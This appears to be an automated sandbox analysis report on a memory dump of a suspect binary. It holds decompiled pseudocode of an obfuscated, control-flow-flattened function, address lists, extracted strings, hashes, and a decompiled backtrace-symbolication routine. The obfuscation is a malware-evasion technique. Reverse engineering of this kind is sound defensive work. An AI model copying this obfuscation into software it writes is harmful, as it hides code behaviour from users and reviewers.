				_v420 = 0x2eebab;
				_v420 = _v420 | 0xf6d0a7fd;
				_v420 = _v420 >> 1;
				_v420 = _v420 ^ 0x7b7d0167;
				_v300 = 0xce7509;
				_t943 = 0x69;
				_v300 = _v300 / _t943;
				_v300 = _v300 | 0x5075b092;
				_v300 = _v300 + 0x8361;
				_v300 = _v300 ^ 0x507a9538;
				_v348 = 0x191358;
				_t944 = 0xe;
				_v348 = _v348 * 0x1b;
				_v348 = _v348 | 0x0485a05c;
				_v348 = _v348 + 0xffff2600;
				_v348 = _v348 ^ 0x06a47f76;
				_v404 = 0x701fe6;
				_v404 = _v404 + 0x79e5;
				_v404 = _v404 * 0x58;
				_v404 = _v404 | 0xeb10b4f0;
				_v404 = _v404 ^ 0xefbedf20;
				_v324 = 0xb4b034;
				_v324 = _v324 + 0xffffd260;
				_v324 = _v324 / _t944;
				_v324 = _v324 + 0xffffaad8;
				_v324 = _v324 ^ 0x0006f697;
				_v412 = 0x7aa07a;
				_v412 = _v412 + 0xffffcfc6;
				_v412 = _v412 | 0x249cdff4;
				_v412 = _v412 << 7;
				_t1041 = 0xe1e175e;
				_v412 = _v412 ^ 0x7f772289;
				_v188 = 0x87f348;
				_v188 = _v188 >> 7;
				_v188 = _v188 ^ 0x00047130;
				_v356 = 0x8a7190;
				_v356 = _v356 ^ 0x27d021b4;
				_t945 = 0x16;
				_v356 = _v356 / _t945;
				_v356 = _v356 + 0xffff1eb0;
				_v356 = _v356 ^ 0x01cefa44;
				_v388 = 0xbb3fb6;
				_v388 = _v388 + 0xffff20d9;
				_v388 = _v388 << 9;
				_t946 = 0x14;
				_push("true");
				_v388 = _v388 * 0x54;
				_v388 = _v388 ^ 0x4f556c94;
				_v308 = 0x1c0b60;
				_v308 = _v308 * 0x7b;
				_v308 = _v308 + 0xffff32c8;
				_v308 = _v308 + 0x24e1;
				_v308 = _v308 ^ 0x0d722f97;
				_v276 = 0x6570cb;
				_v276 = _v276 + 0xffff7c4e;
				_v276 = _v276 >> 0xc;
				_v276 = _v276 ^ 0x00020c1a;
				_v168 = 0x110360;
				_v168 = _v168 >> 6;
				_v168 = _v168 ^ 0x0007d325;
				_v244 = 0x49b385;
				_v244 = _v244 / _t946;
				_v244 = _v244 / _t1044;
				_v244 = _v244 ^ 0x00088ad2;
				_v428 = 0xb594c6;
				_v428 = _v428 + 0xffffd599;
				_v428 = _v428 + 0x6abc;
				_pop(_t947);
				_v428 = _v428 / _t947;
				_v428 = _v428 ^ 0x000ab197;
				_v108 = 0xf33703;
				_v108 = _v108 ^ 0x76fb8a75;
				_v108 = _v108 ^ 0x760024cb;
				_v192 = 0x55d6d7;
				_v192 = _v192 >> 6;
				_v192 = _v192 | 0x1d096e60;
				_v192 = _v192 ^ 0x1d02387d;
				_v304 = 0xaa81cc;
				_v304 = _v304 * 0x1f;
				_v304 = _v304 << 0xe;
				_v304 = _v304 + 0xffff2ee4;
				_v304 = _v304 ^ 0x6dee6434;
				while(1) {
					L1:
					_t878 = 0xa919dff;
					_t1020 = 0x64ec131;
					_t948 = 0x5e7327f;
					do {
						while(1) {
							L2:
							_t1056 = _t925 - 0x7579ad8;
							if(_t1056 > 0) {
								break;
							}
							if(_t1056 == 0) {
								_t925 = 0xd75c4eb;
								continue;
							} else {
								if(_t925 == _t948) {
									_push(_v196);
									_push(_v332);
									_t886 = E00FBCD35(0xfa1330, _v364, __eflags);
									_push(_v136);
									_t1045 = _t886;
									_push(_v252);
									_t887 = E00FBCD35(0xfa12e0, _v432, __eflags);
									_v64 = _v220;
									_t889 = E00FAB01D(_v88, _v128, _t1045, _v96);
									_t960 = 0x20;
									_v56 = _v56 & 0x00000000;
									_v68 = 2 + _t889 * 2;
									_v76 = _t960;
									_v48 =  &_v68;
									_v60 = _t1045;
									_v52 = 1;
									__eflags = E00FC22FA(_v280,  &_v76,  &_v56, _t960, _v416, _t887, _v288, _v204, _v292, _v184, _v424,  &_v32, _v72) - _v180;
									_t925 =  ==  ? 0x64ec131 : 0xe1e175e;
									E00FB629F(_v400, _t1045, _v408, _v272, _v172);
									E00FB629F(_v248, _t887, _v256, _v392, _v264);
									_t1051 =  &(_t1051[0x17]);
									L15:
									_t1041 = 0xe1e175e;
									goto L26;
								} else {
									if(_t925 == _t1020) {
										_push(_v112);
										_push(_v212);
										_t899 = E00FBCD35(0xfa1300, _v160, __eflags);
										_pop(_t967);
										__eflags = E00FAEC68( *0xfc5220 + 0x4c,  &_v76, _v80, _v144, _t899, _v104, _v268, _t967, _v152, _v380, _v92, _v340) - _v84;
										_t925 =  ==  ? 0xa919dff : _t1041;
										E00FB629F(_v372, _t899, _v260, _v316, _v228);
										_t1051 =  &(_t1051[0xd]);
										goto L26;
									} else {
										if(_t925 == 0x6b8fa15) {
											_push(_v300);
											_push(_v420);
											_t904 = E00FBCD35(0xfa13b0, _v100, __eflags);
											_pop(_t974);
											_t1047 = _t904;
											_v44 = _v284;
											_v40 = _v120;
											_v36 = _v176;
											_t912 = E00FBB4AE(_v348,  *((intOrPtr*)( *0xfc5220 + 0x4c)), _v404,  &_v44,  *((intOrPtr*)( *0xfc5220 + 0x48)), _v80, _v324,  *0xfc5220 + 0x44, _v412, _v188, _t904, _v356, _t974, 0xfa13b0, _v236);
											_t1054 =  &(_t1051[0xd]);
											__eflags = _t912 - _v396;
											if(_t912 != _v396) {
												_t925 = 0x7142ff7;
											} else {
												_t925 = _t1041;
												_t1049 = 1;
											}
											E00FB629F(_v388, _t1047, _v308, _v276, _v168);
											_t1051 =  &(_t1054[3]);
											L26:
											_t878 = 0xa919dff;
											_t948 = 0x5e7327f;
											_t1020 = 0x64ec131;
											goto L27;
										} else {
											if(_t925 != 0x7142ff7) {
												goto L27;
											} else {
												E00FAAE43( *((intOrPtr*)( *0xfc5220 + 0x48)), _v244, _v428);
												_t925 = _t1041;
												while(1) {
													L1:
													_t878 = 0xa919dff;
													_t1020 = 0x64ec131;
													_t948 = 0x5e7327f;
													goto L2;
												}
											}
										}
									}
								}
							}
							L21:
							return _t1049;
						}
						__eflags = _t925 - _t878;
						if(_t925 == _t878) {
							_push(_t948);
							_push(_t948);
							_t949 = E00FB5212( *((intOrPtr*)( *0xfc5220 + 0x4c)));
							_t1051 =  &(_t1051[3]);
							 *((intOrPtr*)( *0xfc5220 + 0x48)) = _t949;
							__eflags = _t949;
							if(__eflags == 0) {
								_t925 = _t1041;
								goto L26;
							} else {
								_t925 = 0x6b8fa15;
								goto L1;
							}
						} else {
							__eflags = _t925 - 0xd75c4eb;
							if(__eflags == 0) {
								_push(_v384);
								_push(_v376);
								_t916 = E00FBCD35(0xfa1290, _v368, __eflags);
								_push(_v360);
								_push(_v352);
								_t917 = E00FBCD35(0xfa1250, _v344, __eflags);
								_t807 =  &_v336; // 0x6dee6434
								__eflags = E00FBD96C(_v240,  *_t807,  &_v80, _v156, _v164, _t917, _t916) - _v232;
								_t925 =  ==  ? 0x5e7327f : 0xce84384;
								E00FB629F(_v140, _t916, _v224, _v148, _v328);
								E00FB629F(_v312, _t917, _v216, _v320, _v132);
								_t1051 =  &(_t1051[0xf]);
								goto L15;
							} else {
								__eflags = _t925 - _t1041;
								if(_t925 != _t1041) {
									goto L27;
								} else {
									_t793 =  &_v304; // 0x6dee6434
									E00FB4827(_v80, _v108, _v296, _v192,  *_t793);
								}
							}
						}
						goto L21;
						L27:
						__eflags = _t925 - 0xce84384;
					} while (__eflags != 0);
					goto L21;
				}
			}

0x00fbeded
0x00fbedf3
0x00fbee0c
0x00fbee13
0x00fbee15
0x00fbee20
0x00fbee25
0x00fbee30
0x00fbee3b
0x00fbee43
0x00fbee4e
0x00fbee59
0x00fbee6d
0x00fbee74
0x00fbee79
0x00fbee82
0x00fbee8d
0x00fbee98
0x00fbeea3
0x00fbeeae
0x00fbeeb9
0x00fbeec4
0x00fbeecf
0x00fbeeda
0x00fbeee2
0x00fbeee7
0x00fbeef1
0x00fbeef2
0x00fbeef6
0x00fbeefe
0x00fbef09
0x00fbef14
0x00fbef1f
0x00fbef27
0x00fbef2f
0x00fbef37
0x00fbef3f
0x00fbef47
0x00fbef5a
0x00fbef61
0x00fbef6c
0x00fbef77
0x00fbef7f
0x00fbef8a
0x00fbef95
0x00fbefa3
0x00fbefac
0x00fbefb0
0x00fbefb8
0x00fbefc0
0x00fbefd3
0x00fbefda
0x00fbefe5
0x00fbeff0
0x00fbeffb
0x00fbf006
0x00fbf00e
0x00fbf019
0x00fbf021
0x00fbf029
0x00fbf02e
0x00fbf036
0x00fbf03e
0x00fbf046
0x00fbf04e
0x00fbf056
0x00fbf05d
0x00fbf065
0x00fbf073
0x00fbf078
0x00fbf07e
0x00fbf086
0x00fbf08e
0x00fbf096
0x00fbf09e
0x00fbf0a6
0x00fbf0ae
0x00fbf0b6
0x00fbf0be
0x00fbf0c6
0x00fbf0ce
0x00fbf0da
0x00fbf0df
0x00fbf0e5
0x00fbf0ed
0x00fbf0f9
0x00fbf0fe
0x00fbf104
0x00fbf10c
0x00fbf114
0x00fbf11c
0x00fbf127
0x00fbf12f
0x00fbf13a
0x00fbf145
0x00fbf14d
0x00fbf152
0x00fbf15f
0x00fbf160
0x00fbf164
0x00fbf16c
0x00fbf177
0x00fbf182
0x00fbf18d
0x00fbf1a1
0x00fbf1a8
0x00fbf1b3
0x00fbf1be
0x00fbf1c6
0x00fbf1d1
0x00fbf1dc
0x00fbf1e7
0x00fbf1ef
0x00fbf1fa
0x00fbf207
0x00fbf20b
0x00fbf218
0x00fbf21c
0x00fbf224
0x00fbf22f
0x00fbf23a
0x00fbf245
0x00fbf24c
0x00fbf257
0x00fbf262
0x00fbf26d
0x00fbf278
0x00fbf283
0x00fbf28d
0x00fbf298
0x00fbf29f
0x00fbf2aa
0x00fbf2b5
0x00fbf2c0
0x00fbf2cb
0x00fbf2d3
0x00fbf2db
0x00fbf2e3
0x00fbf2eb
0x00fbf2f3
0x00fbf2fb
0x00fbf303
0x00fbf30b
0x00fbf313
0x00fbf31b
0x00fbf326
0x00fbf33a
0x00fbf33f
0x00fbf348
0x00fbf353
0x00fbf35b
0x00fbf363
0x00fbf36b
0x00fbf370
0x00fbf378
0x00fbf383
0x00fbf38e
0x00fbf396
0x00fbf3a1
0x00fbf3ac
0x00fbf3b4
0x00fbf3bf
0x00fbf3ca
0x00fbf3d2
0x00fbf3dd
0x00fbf3e8
0x00fbf3f3
0x00fbf3fe
0x00fbf409
0x00fbf414
0x00fbf41f
0x00fbf42a
0x00fbf435
0x00fbf440
0x00fbf44b
0x00fbf453
0x00fbf45d
0x00fbf45e
0x00fbf462
0x00fbf46a
0x00fbf472
0x00fbf47d
0x00fbf488
0x00fbf490
0x00fbf49b
0x00fbf4a6
0x00fbf4b1
0x00fbf4b9
0x00fbf4c4
0x00fbf4cf
0x00fbf4da
0x00fbf4e5
0x00fbf4f0
0x00fbf4fb
0x00fbf503
0x00fbf50e
0x00fbf51c
0x00fbf520
0x00fbf528
0x00fbf530
0x00fbf53a
0x00fbf542
0x00fbf547
0x00fbf54f
0x00fbf557
0x00fbf55f
0x00fbf56a
0x00fbf572
0x00fbf57d
0x00fbf588
0x00fbf593
0x00fbf59e
0x00fbf5a9
0x00fbf5b4
0x00fbf5bf
0x00fbf5ca
0x00fbf5d5
0x00fbf5e0
0x00fbf5eb
0x00fbf5f6
0x00fbf601
0x00fbf609
0x00fbf611
0x00fbf619
0x00fbf621
0x00fbf62c
0x00fbf634
0x00fbf63f
0x00fbf64a
0x00fbf655
0x00fbf660
0x00fbf66b
0x00fbf676
0x00fbf67e
0x00fbf686
0x00fbf691
0x00fbf69c
0x00fbf6a4
0x00fbf6af
0x00fbf6ba
0x00fbf6c5
0x00fbf6d0
0x00fbf6db
0x00fbf6e6
0x00fbf6f1
0x00fbf705
0x00fbf70a
0x00fbf713
0x00fbf71e
0x00fbf729
0x00fbf734
0x00fbf73f
0x00fbf74a
0x00fbf756
0x00fbf75b
0x00fbf765
0x00fbf768
0x00fbf76c
0x00fbf771
0x00fbf779
0x00fbf784
0x00fbf78c
0x00fbf797
0x00fbf79f
0x00fbf7a7
0x00fbf7af
0x00fbf7b7
0x00fbf7bf
0x00fbf7ca
0x00fbf7d7
0x00fbf7df
0x00fbf7ea
0x00fbf7fe
0x00fbf803
0x00fbf80c
0x00fbf814
0x00fbf81c
0x00fbf827
0x00fbf832
0x00fbf844
0x00fbf849
0x00fbf852
0x00fbf85d
0x00fbf868
0x00fbf873
0x00fbf87e
0x00fbf889
0x00fbf894
0x00fbf89f
0x00fbf8aa
0x00fbf8b5
0x00fbf8bd
0x00fbf8c8
0x00fbf8da
0x00fbf8df
0x00fbf8e8
0x00fbf8f3
0x00fbf8fe
0x00fbf906
0x00fbf911
0x00fbf919
0x00fbf921
0x00fbf925
0x00fbf92d
0x00fbf93f
0x00fbf944
0x00fbf94d
0x00fbf958
0x00fbf963
0x00fbf96e
0x00fbf97b
0x00fbf97c
0x00fbf980
0x00fbf988
0x00fbf990
0x00fbf998
0x00fbf9a0
0x00fbf9ad
0x00fbf9b1
0x00fbf9b9
0x00fbf9c1
0x00fbf9c9
0x00fbf9d7
0x00fbf9db
0x00fbf9e3
0x00fbf9eb
0x00fbf9f3
0x00fbf9fb
0x00fbfa05
0x00fbfa0a
0x00fbfa0f
0x00fbfa17
0x00fbfa22
0x00fbfa2a
0x00fbfa35
0x00fbfa3d
0x00fbfa4b
0x00fbfa50
0x00fbfa54
0x00fbfa5c
0x00fbfa64
0x00fbfa6c
0x00fbfa74
0x00fbfa80
0x00fbfa81
0x00fbfa83
0x00fbfa87
0x00fbfa8f
0x00fbfaa2
0x00fbfaa9
0x00fbfab4
0x00fbfabf
0x00fbfaca
0x00fbfad5
0x00fbfae0
0x00fbfae8
0x00fbfaf3
0x00fbfafe
0x00fbfb06
0x00fbfb11
0x00fbfb27
0x00fbfb39
0x00fbfb40
0x00fbfb4b
0x00fbfb53
0x00fbfb5b
0x00fbfb67
0x00fbfb6a
0x00fbfb6e
0x00fbfb76
0x00fbfb81
0x00fbfb8c
0x00fbfb97
0x00fbfba2
0x00fbfbaa
0x00fbfbb5
0x00fbfbc0
0x00fbfbd3
0x00fbfbda
0x00fbfbe2
0x00fbfbed
0x00fbfbf8
0x00fbfbf8
0x00fbfbf8
0x00fbfbfd
0x00fbfc02
0x00fbfc07
0x00fbfc07
0x00fbfc07
0x00fbfc07
0x00fbfc0d
0x00000000
0x00000000
0x00fbfc13
0x00fbff3e
0x00000000
0x00fbfc19
0x00fbfc1b
0x00fbfde7
0x00fbfdf3
0x00fbfdfb
0x00fbfe00
0x00fbfe0c
0x00fbfe0e
0x00fbfe19
0x00fbfe3d
0x00fbfe44
0x00fbfe4b
0x00fbfe5a
0x00fbfe62
0x00fbfe77
0x00fbfe7e
0x00fbfe98
0x00fbfea6
0x00fbfeea
0x00fbfefa
0x00fbff0c
0x00fbff2c
0x00fbff31
0x00fbff34
0x00fbff34
0x00000000
0x00fbfc21
0x00fbfc23
0x00fbfd3b
0x00fbfd47
0x00fbfd55
0x00fbfd5b
0x00fbfdbb
0x00fbfdc9
0x00fbfdda
0x00fbfddf
0x00000000
0x00fbfc29
0x00fbfc2f
0x00fbfc5b
0x00fbfc67
0x00fbfc72
0x00fbfc78
0x00fbfc79
0x00fbfc82
0x00fbfc90
0x00fbfca5
0x00fbfcf9
0x00fbfcfe
0x00fbfd01
0x00fbfd05
0x00fbfd0e
0x00fbfd07
0x00fbfd09
0x00fbfd0b
0x00fbfd0b
0x00fbfd2e
0x00fbfd33
0x00fc00a1
0x00fc00a1
0x00fc00a6
0x00fc00ab
0x00000000
0x00fbfc31
0x00fbfc37
0x00000000
0x00fbfc3d
0x00fbfc51
0x00fbfc57
0x00fbfbf8
0x00fbfbf8
0x00fbfbf8
0x00fbfbfd
0x00fbfc02
0x00000000
0x00fbfc02
0x00fbfbf8
0x00fbfc37
0x00fbfc2f
0x00fbfc23
0x00fbfc1b
0x00fbff8d
0x00fbff97
0x00fbff97
0x00fbff48
0x00fbff4a
0x00fc007a
0x00fc007b
0x00fc0084
0x00fc0086
0x00fc008e
0x00fc0091
0x00fc0093
0x00fc009f
0x00000000
0x00fc0095
0x00fc0095
0x00000000
0x00fc0095
0x00fbff50
0x00fbff50
0x00fbff56
0x00fbff98
0x00fbffa1
0x00fbffa9
0x00fbffae
0x00fbffb9
0x00fbffc1
0x00fbffdf
0x00fc000a
0x00fc0018
0x00fc0029
0x00fc004c
0x00fc0051
0x00000000
0x00fbff58
0x00fbff58
0x00fbff5a
0x00000000
0x00fbff60
0x00fbff60
0x00fbff83
0x00fbff88
0x00fbff5a
0x00fbff56
0x00000000
0x00fc00b0
0x00fc00b0
0x00fc00b0
0x00000000
0x00fc00bc

Strings

Nm., xrefs: 00FBEF1F
p[, xrefs: 00FBF609
o/, xrefs: 00FBF42A
1, xrefs: 00FBF18D
nM=, xrefs: 00FBEEF6
tA, xrefs: 00FBF832
N9, xrefs: 00FBF114
4dm, xrefs: 00FBFF60
:=_, xrefs: 00FBF8C8
EN5, xrefs: 00FBF686
wP, xrefs: 00FBF5EB
4dm, xrefs: 00FBFA9A, 00FBFBCB
x0e, xrefs: 00FBEEA3
6(j, xrefs: 00FBF0C6
_:, xrefs: 00FBF8AA
>:, xrefs: 00FBF353
rVs, xrefs: 00FBF019
d"F, xrefs: 00FBEEFE
N], xrefs: 00FBEF2F
y, xrefs: 00FBF9A0

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: >:$1$4dm$4dm$:=_$EN5$N9$N]$Nm.$_:$d"F$nM=$o/$p[$rVs$tA$wP$x0e$6(j$y
API String ID: 0-3648772094
Opcode ID: 8d36f7130bbfbaf7fd04895b79e035b33f49aa4d1f5f438c58a988ff007e565e
Instruction ID: 0cb00f125a0acbff17636c90ff540b400f937e54d75269d7929df8baa37a50d4
Opcode Fuzzy Hash: 8d36f7130bbfbaf7fd04895b79e035b33f49aa4d1f5f438c58a988ff007e565e
Instruction Fuzzy Hash: FB92FE715093808FD3B9CF25C98AB9BBBE1BBC5718F10891DE1DA86260D7B18949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBE890, Relevance: 25.1, APIs: 9, Strings: 5, Instructions: 588
libraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 52%

			E6EDBE890(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi) {
				void* _v16;
				char _v4528;
				void* __ebp;
				char* _t225;
				void* _t234;
				void* _t237;
				signed int _t240;
				signed int _t243;
				signed char _t249;
				intOrPtr _t250;
				void* _t255;
				intOrPtr _t256;
				signed int _t258;
				signed char _t262;
				signed int _t265;
				signed short _t267;
				signed short* _t269;
				signed int _t273;
				void* _t277;
				void* _t278;
				intOrPtr _t279;
				signed int _t281;
				void* _t283;
				intOrPtr _t284;
				signed int _t286;
				signed short _t290;
				signed int _t292;
				signed short* _t293;
				signed short _t294;
				signed int _t297;
				signed int _t298;
				signed int _t301;
				signed int _t302;
				signed int _t304;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed short* _t317;
				intOrPtr _t321;
				intOrPtr _t322;
				void* _t328;
				signed int _t330;
				intOrPtr _t333;
				signed int _t337;
				void* _t338;
				void* _t346;
				intOrPtr _t350;
				signed short* _t353;
				signed int _t354;
				signed int _t357;
				void* _t358;
				signed int _t365;
				void* _t366;
				signed short* _t369;
				signed int _t371;
				signed int _t373;
				signed short* _t379;
				signed int _t381;
				signed char _t384;
				signed char _t385;
				intOrPtr _t392;
				signed int* _t393;
				signed char _t394;
				signed int _t397;
				signed char _t398;
				signed int _t399;
				signed int _t400;
				signed short _t401;
				signed int _t407;
				signed int _t409;
				signed char _t410;
				signed int _t411;
				signed short _t412;
				signed int _t418;
				intOrPtr _t421;
				signed int _t423;
				signed int _t424;

				_t365 = __edx;
				_t321 = __ecx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t424 = _t423 & 0xfffffff0;
				E6EDCA000(0x11b0);
				_t418 = _t424;
				 *((intOrPtr*)(_t418 + 0x1198)) = _t421;
				 *(_t418 + 0x119c) = _t424;
				 *(_t418 + 0x11a8) = 0xffffffff;
				 *((intOrPtr*)(_t418 + 0x11a4)) = E6EDC3BB0;
				 *((intOrPtr*)(_t418 + 0x11a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t418 + 0x11a0;
				 *((intOrPtr*)(_t418 + 0x5c)) = __edx;
				_t225 =  *((intOrPtr*)(__ecx));
				if( *_t225 != 0 ||  *((intOrPtr*)( *((intOrPtr*)(__ecx + 4)))) <= 0x64) {
					_t392 =  *((intOrPtr*)(_t321 + 8));
					_t301 =  *(_t321 + 0xc);
					 *((intOrPtr*)(_t418 + 0x80)) = _t321;
					_t322 =  *((intOrPtr*)(_t321 + 0x10));
					 *(_t418 + 0x1c) = _t365;
					_t366 = _t418 + 0x12;
					 *(_t418 + 0x12) = 0;
					 *((char*)(_t418 + 0x13)) = 0;
					 *(_t418 + 0x84) = _t366;
					 *((intOrPtr*)(_t418 + 0x88)) = _t225;
					 *((intOrPtr*)(_t418 + 0x8c)) = _t392;
					 *((intOrPtr*)(_t418 + 0x90)) = _t418 + 0x13;
					 *(_t418 + 0x94) = _t301;
					 *((intOrPtr*)(_t418 + 0x98)) = _t322;
					 *((intOrPtr*)(_t418 + 0x7c)) = _t392;
					 *(_t418 + 0x58) = _t301;
					 *((intOrPtr*)(_t418 + 0x78)) = _t322;
					 *((intOrPtr*)(_t418 + 0x9c)) = _t418 + 0x5c;
					if(E6EDBE690(_t301, _t392, _t418) == 0) {
						_t393 =  *(_t418 + 0x1c);
						 *(_t418 + 0x2c) = _t366;
						__eflags =  *_t393 ^ 0x00000001 | _t393[1];
						if(( *_t393 ^ 0x00000001 | _t393[1]) != 0) {
							E6EDCC310(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t302 =  *0x6ee0adfc; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t302;
							if(_t302 != 0) {
								L33:
								_t234 = GetCurrentProcess();
								_t394 = _t393[0x45];
								 *(_t418 + 0x18) = _t234;
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t369 =  <  ? 0 : _t393[2] - 1;
								 *(_t418 + 0x20) = _t394;
								 *(_t418 + 0x30) = _t369;
								_t237 =  *_t302( *(_t418 + 0x18), _t369, 0, _t394, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t237 - 1;
								if(_t237 != 1) {
									goto L75;
								} else {
									_t250 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t304 = _t418 + 0x1f4;
									_t371 = _t418 + 0xa0;
									 *(_t418 + 0xc) = 0;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t328 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t250 - _t328;
									_t329 =  <=  ? _t250 : _t328;
									_t330 = 0;
									 *(_t418 + 0x14) = _t418 + 0x1f4 + ( <=  ? _t250 : _t328) * 2;
									__eflags = 0;
									 *(_t418 + 0x18) = 0x100;
									if(0 == 0) {
										L37:
										__eflags = _t304 -  *(_t418 + 0x14);
										if(_t304 !=  *(_t418 + 0x14)) {
											_t400 = _t304;
											_t304 = _t304 + 2;
											__eflags = _t304;
											_t401 =  *_t400 & 0x0000ffff;
											goto L39;
										}
									} else {
										asm("o16 nop [cs:eax+eax]");
										L36:
										_t401 = _t330 >> 0x10;
										L39:
										 *(_t418 + 0x1c) = _t330 & 0xffff0000;
										__eflags = (_t401 & 0x0000f800) - 0xd800;
										if((_t401 & 0x0000f800) != 0xd800) {
											 *(_t418 + 0x24) = _t304;
											_t337 = _t401 & 0x0000ffff;
											_t262 = 0;
										} else {
											_t269 = _t304;
											_t337 = 0;
											__eflags = (_t401 & 0x0000ffff) - 0xdbff;
											if((_t401 & 0x0000ffff) <= 0xdbff) {
												_t309 =  *(_t418 + 0x14);
												__eflags = _t269 - _t309;
												if(_t269 == _t309) {
													 *(_t418 + 0x24) = _t309;
													goto L48;
												} else {
													_t310 =  *_t269 & 0x0000ffff;
													 *(_t418 + 0x24) =  &(_t269[1]);
													 *(_t418 + 0x28) = _t310;
													__eflags = (_t310 & 0x0000fc00) - 0xdc00;
													if((_t310 & 0x0000fc00) != 0xdc00) {
														 *(_t418 + 0x1c) = ( *(_t418 + 0x28) & 0x0000ffff) << 0x00000010 | 0x00000001;
														asm("o16 nop [eax+eax]");
														goto L48;
													} else {
														_t262 = 0;
														_t337 = ( *(_t418 + 0x28) + 0x00002400 & 0x0000ffff | (_t401 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											} else {
												 *(_t418 + 0x24) = _t269;
												L48:
												_t262 = 1;
											}
										}
										_t304 =  *(_t418 + 0x18);
										__eflags = _t262 & 0x00000001;
										_t394 = 1;
										_t338 =  !=  ? 0xfffd : _t337;
										__eflags = _t338 - 0x80;
										if(_t338 >= 0x80) {
											_t394 = 2;
											__eflags = _t338 - 0x800;
											if(_t338 >= 0x800) {
												__eflags = _t338 - 0x10000;
												_t394 = 4;
												asm("sbb edi, 0x0");
											}
										}
										_t265 = _t304 - _t394;
										__eflags = _t265;
										 *(_t418 + 0x28) = _t265;
										if(_t265 > 0) {
											 *(_t418 + 0x34) = _t394;
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x18) = _t371;
											E6EDBDD00(_t304, _t338, _t371, _t394, _t418, _t421, _t304);
											_t424 = _t424 + 4;
											_t267 =  *(_t418 + 0x34);
											_t330 =  *(_t418 + 0x1c);
											_t304 =  *(_t418 + 0x24);
											_t371 =  *(_t418 + 0x18) + _t267;
											 *(_t418 + 0xc) =  *(_t418 + 0xc) + _t267;
											__eflags = _t330;
											 *(_t418 + 0x18) =  *(_t418 + 0x28);
											if(_t330 != 0) {
												goto L36;
											} else {
												goto L37;
											}
										}
									}
									__eflags =  *(_t418 + 0xc) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6EDD6DB0(_t304,  *(_t418 + 0xc), 0x100, _t394, _t418, __eflags, 0x6edfe1dc);
										goto L87;
									} else {
										_t397 =  *0x6ee0ae00; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t397;
										if(_t397 != 0) {
											L67:
											_t255 = GetCurrentProcess();
											_t333 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t373 = _t418 + 0x38;
											_t256 =  *_t397(_t255,  *(_t418 + 0x30), 0,  *(_t418 + 0x20), 0, 0, _t373, _t333);
											__eflags = _t256 - 1;
											if(_t256 != 1) {
												_t398 = 0;
												__eflags = 0;
											} else {
												_t256 =  *((intOrPtr*)(_t418 + 0x68));
												_t333 =  *((intOrPtr*)(_t418 + 0x6c));
												_t399 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t373 = _t399;
													_t399 = _t399 + 1;
													__eflags =  *((short*)(_t333 + _t373 * 2));
												} while ( *((short*)(_t333 + _t373 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t398 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0xc);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t398;
											 *((intOrPtr*)(_t418 + 0x48)) = _t256;
											 *(_t418 + 0x4c) = _t398;
											 *((intOrPtr*)(_t418 + 0x50)) = _t333;
											 *(_t418 + 0x54) = _t373;
											E6EDBFA10(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t258 = GetProcAddress( *0x6ee0add0, "SymGetLineFromInlineContextW");
											__eflags = _t258;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6EDD6E20(_t304, "called `Option::unwrap()` on a `None` value", 0x2b, _t397, _t418, __eflags, 0x6edfe2c0);
												goto L87;
											} else {
												_t397 = _t258;
												 *0x6ee0ae00 = _t258;
												goto L67;
											}
										}
									}
								}
							} else {
								_t273 = GetProcAddress( *0x6ee0add0, "SymFromInlineContextW");
								__eflags = _t273;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6EDD6E20(_t302, "called `Option::unwrap()` on a `None` value", 0x2b, _t393, _t418, __eflags, 0x6edfe2c0);
									goto L87;
								} else {
									_t302 = _t273;
									 *0x6ee0adfc = _t273;
									goto L33;
								}
							}
						} else {
							_t312 = _t393[2];
							E6EDCC310(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t407 =  *0x6ee0adf0; // 0x0
